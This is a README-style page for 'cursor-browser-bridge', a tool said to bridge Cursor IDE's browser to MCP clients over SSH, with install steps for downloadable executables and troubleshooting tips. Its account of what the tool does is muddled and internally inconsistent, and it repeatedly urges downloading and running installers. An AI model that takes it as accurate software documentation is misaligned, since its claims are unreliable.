cursor-browser-bridge helps you link Cursor IDE’s built-in browser with other MCP clients like Claude Code or Codex. It works over SSH, meaning you can control your MCP client through Cursor’s browser. You can navigate pages, click buttons, type text, take screenshots, and more — all without leaving the Cursor IDE.
This tool is helpful if you want to see what happens in your MCP client while still working in your main coding environment. It saves time and keeps your workflow simple.
Before downloading, check that your computer fits these requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, or Linux
- RAM: At least 4 GB free memory for smooth operation
- Disk Space: At least 100 MB free disk space
- Network: Stable internet connection that supports SSH connections
- Software: SSH client installed (Windows users can use PowerShell or tools like PuTTY)
You will need to visit the release page to get the latest version of cursor-browser-bridge.
Follow these steps:
-
Click this button to go to the download page:
-
On the releases page, look for the file that matches your computer’s operating system:
- For Windows: a file ending with
.exe - For macOS: a file ending with
.dmgor.zip - For Linux: usually a
.tar.gzor.AppImage
- For Windows: a file ending with
-
Click the file name to download it.
-
When downloaded, open the file:
- On Windows, double-click the
.exefile and follow the installer prompts. - On macOS, open the
.dmgor unzip the archive, then move the app to your Applications folder. - On Linux, extract the archive and follow any included instructions, or run the AppImage file.
- On Windows, double-click the
-
After installation, launch the application from your programs menu or desktop shortcut.
After installing, you can start bridging your Cursor IDE browser to an MCP client. Here’s how:
Make sure your MCP client (Claude Code, Codex, etc.) is ready and running. You will need the SSH address and login information for your MCP client machine.
Launch cursor-browser-bridge on your machine. You will see a simple window asking for connection details.
- Enter the SSH address of your MCP client.
- Provide your username.
- If needed, input a password or use an SSH key file.
Click "Connect" to open the SSH session.
Once connected, cursor-browser-bridge will bridge Cursor IDE’s browser to your MCP client. You can do the following:
- Navigate: Use the browser inside Cursor IDE to open web pages inside your MCP client.
- Click Buttons: Click links or buttons to interact with the client’s interface.
- Type: Enter text fields remotely using your keyboard.
- Screenshots: Take screenshots of the MCP client’s screen for review or sharing.
Customize your experience with these tips:
- SSH Keys: For easier repeated connections, set up SSH keys instead of typing passwords.
- Full Screen Mode: Use full screen mode inside cursor-browser-bridge to focus entirely on your MCP client.
- Shortcuts: Learn any user shortcuts inside Cursor IDE for faster navigation.
- Security: Always disconnect when you finish to keep your session safe.
- Work on multiple MCP clients without switching devices.
- Test and debug MCP workflows inside Cursor IDE.
- Capture exact MCP client states using screenshots.
- Automate repetitive browser tasks when combined with Cursor IDE scripts.
Here are some common fixes if you run into issues:
-
Can’t Connect Over SSH:
Check your network connection and SSH address. Make sure your MCP client machine allows SSH connections. -
Browser Not Responding:
Try restarting cursor-browser-bridge. Confirm the MCP client is running properly. -
Screen Updates Are Slow:
Ensure a strong internet connection. Use wired connections if possible. Lower screen resolution settings in Cursor IDE if available. -
Installation Issues:
Verify your system meets the requirements. Re-download the correct installer for your OS.
If problems persist, check the GitHub issues page in the repository for help from the developer community.
This project belongs to these areas, which may help you find similar tools or learn more:
- ai-tools
- browser-automation
- claude-code
- codex
- cursor
- cursor-ide
- developer-tools
- mcp (Model Context Protocol)
- model-context-protocol
- vscode-extension
cursor-browser-bridge is made to help developers and users link their coding environment (Cursor IDE) smoothly with other MCP clients. It bridges different tools for a more unified workflow.
You do not need programming skills to use it. The interface is designed to be simple and clear for everyday users.
Click the button below to visit the download page and get cursor-browser-bridge set up on your computer.